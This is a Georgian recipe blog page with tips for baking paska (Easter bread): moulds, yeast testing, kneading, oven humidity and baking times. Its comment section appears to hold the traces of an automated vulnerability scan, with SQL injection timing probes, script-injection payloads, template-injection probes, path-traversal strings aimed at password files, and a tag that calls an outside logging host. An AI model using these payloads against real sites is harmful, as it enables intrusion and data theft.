რჩევები იდეალური პასკის გამოსაცხობად

ავტორი: Tamar_Chelidze

ბევრი რამ მე თვითონაც რამდენიმე წლის წინ ვისწავლე და, მინდა გითხრათ, რომ ჩემი პასკის ხარისხი ბევრად გაუმჯობესდა. სცადეთ, არ ინანებთ!

ნაწილი

საიდუმლო დეტალებშია

პასკის უამრავი რეცეპტი არსებობს. ყველა თავისი რეცეპტით აცხობს და ყველას თავისი მოსწონს. ბუნებრივია! ვერავის შეედავები რომელი რეცეპტია უკეთესი. ფაქტი ერთია: ყველა რეცეპტს ერთი პრინციპი აქვს.
არსებობს ისეთი დეტალები, რომლებსაც შეიძლება დამწყებმა კულინარებმა არ მიაქციონ თავიდან ყურადღება, თუმცა კი, გამოცდილი კულინარებისთვის ეს უკვე ისეთი ჩვეულებრივი მოვლენაა, რომ ხშირად მათზე ხსენებაც არ არის რეცეპტებში. ამიტომ შევეცადე გამეზიარებინა ჩემი გამოცდილება დამწყებებისთვის, თუმცა კი, ალბათ, არც გამოცდილი კულინარები ჩათვლიან ზოგიერთ დეტალს უინტერესოდ.

ნაწილი

ფორმები

ამჟამად იყიდება ქაღალდის ფორმები, რომლებიც არანაირ დამატებით მომზადებას აღარ საჭიროებს. იმას კი, ვისაც კონსერვის ქილები აქვს შემონახული, გამოსაცხობი ქაღალდი გამოადგება გვერდებზე ამოსაფენად. ამასთან, ეს ქაღალდი ფორმიდან 3-5 სმ სიმაღლეზე უნდა ამოდიოდეს. ვინაიდან კონსერვის ქილა თავად თხელი მეტალისაა, ამიტომ ძირი რომ არ დაიწვას, ცალკე მოვამზადებთ თხელ მუყაოს ან 4 ფენა ქაღალდს და შემდეგ გამოსაცხობ ქაღალდს.

ნაწილი

ქიშმიში

გავასუფთავოთ, გავრეცხოთ. დავაწდოთ და შემდეგ ტილოზე გავაშროთ.

ნაწილი

რძე

ის რაოდენობა რძე, რაც საფუარისთვის არის საჭირო, მხოლოდ უნდა შეთბეს, დანარჩენი კი, შეგვიძლია კარგად გავაცხელოთ.

ნაწილი

სანელებლები

წინასწარ დაფქულ სანელებლებს, დავასხამთ ცხელ, ქაფქაფა რძეს. დავახურავთ თავზე და დავაცდით არომატების უკეთ გამოსვლას.

ნაწილი

საფუარის გასინჯვა

საფუარი ხანდახან არ ამართლებს. ამიტომ, წინასწარ შეიძლება მისი ვარგისიანობის შემოწმება. გავხსნათ ცოტა (150 მლ) თბილ რძეში (არ ვითარ შემთხვევაში ცხელში). დავუმატოთ 1 ს.კ. შაქარი. მოვურიოთ და ცოტა ხანი დაველოდოთ. თუ კარგად ამოვა, მაშინ საფუარი კარგია და შეიძლება გამოვიყენოთ. თუ არა და ე.ი. არ ვარგა.

ნაწილი

მასალა გასაფორმებლად

კვერცხის გულს აუცილებლად უნდა დაემატოს ცოტა არაჟანი ან მაწონი ან ნაღები ან რძე. პასკას თავი უფრო უკეთ უწითლდება.

ნაწილი

ცომი

გაცილებით უკეთესი გამოდის, თუ პროპორცია კვერცხის გულებსა და ცილებს შორის არის დაახლოებით 3:1. ანუ, 10 გულზე 3 ცილა სავსებით საკმარისია.

ნაწილი

კვერცხი

გულებს აუცილებლად უნდა დაემატოს მარილი. მარილი კვერცხის გულს უფრო ინტენსიურ ფერს აძლევს და პასკაც შესაბამისად უფრო ყვითელი გამოდის. ყვითელი ფერი ასევე თავად კვერცხზეცაა დამოკიდებული: სოფლის კვერცხი უფრო ყვითელია.

ნაწილი

ფერისათვის

თუ ცოტა ზაფრანის ფოთლებს მდუღარეს დავასხვამთ 1 დღით ადრე ან 1 კვირით ადრე სპირტს ან კონიაკს და თავდახურულს სიბნელეში შევინახავთ, ესეც დამატებითი „სტიმულია“ ფერისათვის.

ნაწილი

ვამუშაოთ ხელები

ცომს ვზელთ იმდენ ხანს, სანამ ის არ დაიწყებს ხელიდან მოცილებას. ამას შეიძლება 1 საატამდე დასჭირდეს. ცომი მძიმეა და მისი ზელვა ძალიან შრომატევადი პროცესია! კარგია მამაკაცის დახმარება! ბოლოს, როცა ცომი ხელს აღარ ეკრობა, შეიძლება პატარა გუნდა მოვაწყვიტოთ და ორივე ხელით შევეცადოთ გავწელოთ ფურცელივით. თუ კარგად გაიწელება, ე.ი. ცომი მზადაა.

ნაწილი

შეცდომა

შეცდომაა, თუ ვინმე იფიქრებს, რომ მძიმე ცომის ამოსვლას, დიდი რაოდენობის საფუარი უშველის. ზედმეტი საფუარი ცომს აშრობს!

ნაწილი

ქიშმიში აღარ „ჩაიძირება“

ქიშმიშს ცომში დამატებამდე ჩავყრით პატარა ჯამში. დავუმატებთ 2-3 ს.კ. ფქვილს და კარგად ამოვსვრით მასში. ეს იმისთვის კეთდება, რომ ის კიდევ უფრო შეშრეს და კარგად მიეწებოს ცომს. ასე ქიშმიში აღარ „ჩაიძირება“ და მთელ სიმაღლეზე განაწილდება.

ნაწილი

არ გაავსოთ

კარგია, თუ უკვე წინასწარ იცით, თუ ცომის რა მასას იტევს თქვენი ფორმები. ისე, კი ფორმის მხოლოდ 1/3 უნდა შეავსოთ. ერთი კონსერვის ქილა იტევს დაახლოებით 350-400 გრ ცომს.

ნაწილი

რა შუაშია ხაჭაპური?

სანამ ცომს ფორმაში ჩადებთ, მანამდე ცომი ოდნავ ხაჭაპურივით შეაბრტყელეთ. გვერდები ასევე ხაჭაპურივით მოუკარით და ზედაპირით ჩადეთ ძირს, ისე, რომ გლუვი ზედაპირი ზემოტ მოექცეს. პასკის თავი აუცილებლად თანაბრად მრგვალი და ლამაზი გამოვა.

ნაწილი

ორჯერ გაზომე, ერთხელ მოაცხე

პასკის ზედაპირს მაშინ გადავუსვამთ კვერცხის გულს, როცა ცომი ზომაში 2-ჯერ მოიმატებს. ადრევე რომ გადავუსვათ, ცომის ამოსვლის პროცესში გარკვეული ადგილები ხელმეორედ გახდება წასასმელი.

ნაწილი

გავახუროთ წინასწარ

შევდგამთ წინასწარ გახურებულ ღუმელში 175-180 გრადუსზე. უმჯობესია ფორმები დავალაგოთ ცხაურზე და არა გამოსაცხობ ფირფიტაზე. ასე უფრო მეტი ფორმა ეტევა.

ნაწილი

ჰაერი უნდა ტრიალებდეს

ფორმები არავითარ შემთხვევაში არ უნდა ეხებოდეს ერთმანეთს. მათ შორის აუცილებლად ჰაერი უნდა ტრიალებდეს, რომ გვერდებიც კარგად გამოცხვეს.

ნაწილი

წყალი თავისით დაშრება

ღუმელში ძირზე უნდა დადოთ მოზრდილი ზომის თუჯის ტაფა, რომელიც ნახევარზე მეტად სავსე იქნება ცივი წყლით. წყალი დაიწყებს აორთქლებას და ცომი ამ პერიოდში კიდევ უფრო იმატებს ზომაში. თან პასკა სველი გამოდის. წყალი თავისით დაშრება. დაშრობის შემდეგ პასკა დაიწყებს შეწითლებას. როცა თავი მოუწითლდება, პასკა უკვე მზადაა. შეიძლება გრძელი ჩხირებით გასინჯვაც, მაგრამ საჭირო აღარც იქნება.

ნაწილი

თუ

თუ პასკას ღუმელში ქვემოდან წყლიან ტაფას შეუდგამთ, მის გამოცხობას დასჭირდება დაახლოებით:
კონსერვის ფორმებში (350-400 გრ) 1 სთ და 10 წთ
საშუალო ფორმაებში (550-600 გრ) 1 სთ და 20 წთ
დიდ ფორმებში (1000 -1100 გრ) 1 სთ და 30 წთ

ბეჭდვა

კომენტარები

164 კომენტარი

დაამატეთ კომენტარი

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

lv0Uqyik

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

)

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

!(()&&!|*|*|

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

^(#$!@#$)(()))******

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

1'"()&%<zzz><ScRiPt >LEVG(9800)</ScRiPt>

ubaTaeCJ

09/08/2023

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

Http://bxss.me/t/fit.txt

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

http://bxss.me/t/fit.txt%3F.jpg

ubaTaeCJ

09/08/2023

'"()&%<zzz><ScRiPt >LEVG(9053)</ScRiPt>

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

/etc/shells

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

c:/windows/win.ini

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

19500491

ubaTaeCJ

09/08/2023

bxss.me

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

bfg5276%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl5276

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

bfgx2650%C0%BEz1%C0%BCz2a%90bcxhjl2650

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

<%={{={@{#{${dfb}}%>

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

<th:t="${dfb}#foreach

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

../../../../../../../../../../../../../../etc/passwd

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

../../../../../../../../../../../../../../windows/win.ini

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

file:///etc/passwd

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

../1

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

-1 OR 2+228-228-1=0+0+0+1 --

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

-1 OR 2+890-890-1=0+0+0+1

ubaTaeCJ

09/08/2023

-1' OR 2+421-421-1=0+0+0+1 --

ubaTaeCJ

09/08/2023

-1' OR 2+158-158-1=0+0+0+1 or '5kpzrfXU'='

ubaTaeCJ

09/08/2023

-1" OR 2+766-766-1=0+0+0+1 --

ubaTaeCJ

09/08/2023

if(now()=sysdate(),sleep(15),0)

ubaTaeCJ

09/08/2023

dfb{{98991*97996}}xca

ubaTaeCJ

09/08/2023

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

ubaTaeCJ

09/08/2023

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

ubaTaeCJ

09/08/2023

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

ubaTaeCJ

09/08/2023

-1; waitfor delay '0:0:15' --

ubaTaeCJ

09/08/2023

-1); waitfor delay '0:0:15' --

ubaTaeCJ

09/08/2023

dfb[[${98991*97996}]]xca

ubaTaeCJ

09/08/2023

1 waitfor delay '0:0:15' --

ubaTaeCJ

09/08/2023

NjwWC6an'; waitfor delay '0:0:15' --

ubaTaeCJ

09/08/2023

-5 OR 592=(SELECT 592 FROM PG_SLEEP(15))--

ubaTaeCJ

09/08/2023

-5) OR 69=(SELECT 69 FROM PG_SLEEP(15))--

ubaTaeCJ

09/08/2023

-1)) OR 695=(SELECT 695 FROM PG_SLEEP(15))--

ubaTaeCJ

09/08/2023

2V9cdnJo' OR 290=(SELECT 290 FROM PG_SLEEP(15))--

ubaTaeCJ

09/08/2023

S1ZTmWO6') OR 249=(SELECT 249 FROM PG_SLEEP(15))--

ubaTaeCJ

09/08/2023

liIIB6oT')) OR 887=(SELECT 887 FROM PG_SLEEP(15))--

ubaTaeCJ

09/08/2023

dfb__${98991*97996}__::.x

ubaTaeCJ

09/08/2023

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

ubaTaeCJ

09/08/2023

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

ubaTaeCJ

09/08/2023

1'"

ubaTaeCJ

09/08/2023

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

ubaTaeCJ

09/08/2023

@@Y1kS4

ubaTaeCJ

09/08/2023

1<ScRiPt >LEVG(9098)</ScRiPt>

ubaTaeCJ

09/08/2023

1<WNEWFI>EVSPY[!+!]</WNEWFI>

ubaTaeCJ

09/08/2023

1<script>LEVG(9676)</script>

ubaTaeCJ

09/08/2023

1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%4C%45%56%47%28%39%30%31%31%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E

ubaTaeCJ

09/08/2023

1<ScRiPt >LEVG(9353)</ScRiPt>

ubaTaeCJ

09/08/2023

1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9076></ScRiPt>

ubaTaeCJ

09/08/2023

1<isindex type=image src=1 onerror=LEVG(9166)>

ubaTaeCJ

09/08/2023

1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9106'>

ubaTaeCJ

09/08/2023

1<body onload=LEVG(9044)>

ubaTaeCJ

09/08/2023

1<img src=//xss.bxss.me/t/dot.gif onload=LEVG(9330)>

ubaTaeCJ

09/08/2023

1<img src=xyz OnErRor=LEVG(9438)>

ubaTaeCJ

09/08/2023

1<img/src=">" onerror=alert(9179)>

ubaTaeCJ

09/08/2023

%31%3C%53%63%52%69%50%74%20%3E%4C%45%56%47%289900%29%3C%2F%73%43%72%69%70%54%3E

ubaTaeCJ

09/08/2023

1\u003CScRiPt\LEVG(9973)\u003C/sCripT\u003E

ubaTaeCJ

09/08/2023

1<ScRiPt>LEVG(9054)</sCripT>

ubaTaeCJ

09/08/2023

�<img zzz onmouseover=LEVG(91121) //�>

ubaTaeCJ

09/08/2023

1<input autofocus onfocus=LEVG(9114)>

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

1}body{zzz:Expre/**/SSion(LEVG(9851))}

ubaTaeCJ

09/08/2023

1xcRu2 <ScRiPt >LEVG(9940)</ScRiPt>

ubaTaeCJ

09/08/2023

1<W4MGGJ>SURQL[!+!]</W4MGGJ>

ubaTaeCJ

09/08/2023

1<ifRAme sRc=9382.com></IfRamE>

ubaTaeCJ

09/08/2023

1<aO1Brf1 x=9518>

ubaTaeCJ

09/08/2023

1<img sRc='http://attacker-9843/log.php?

ubaTaeCJ

09/08/2023

1<aPRODP4<

ბოლოს განთავსებული

ცხელი შოკოლადი

ავტორი:

Tekla_mi

ატმის აზიური სალათა

ავტორი:

Tekla_mi

რამდენიმე ხრიკი, თუ როგორ მოვამზადოთ წვნიანი და რბილი ქათამი

ქათმის მომზადება ერთი შეხედვით ადვილია, მაგრამ ხშირად საბოლოო შედეგი მაინც გამომშრალი ხორცია. ჩვენ გაგიზიარებთ რამდენიმე მარტივ რჩევას, რის შემდეგაც თქვენი ქათმის ხორცი წვნიანი და ფაფუკი გახდება.

თარიღი: 06/10/2022

ავტორი: Tekla_mi

რა განსხვავებაა ქათმის თეთრ და მუქ ხორცს შორის?

ქათმის ხორცი ჯანსაღი კვების უმნიშვნელოვანესი ნაწილია. იგი წარმოადგენს მაღალი ხარისხის, ადვილად ასათვისებელ ცილების, ვიტამინების, ამინომჟავებისა და მინერალური ნივთიერებების შეუცვლელ წყაროს ნებისმიერი ასაკის ორგანიზმისთვის. როდესაც საქმე ეხება ქათმის ნაჭრის არჩევას, რომელს ანიჭებთ უპირატესობას ქათმის თეთრ თუ მუქ ხორცს? ქათმის ფრთები და მკერდი თეთრ ხორცად ითვლება, ქათმის ბარკლები კი მუქად.

თარიღი: 06/03/2022

ავტორი: Tekla_mi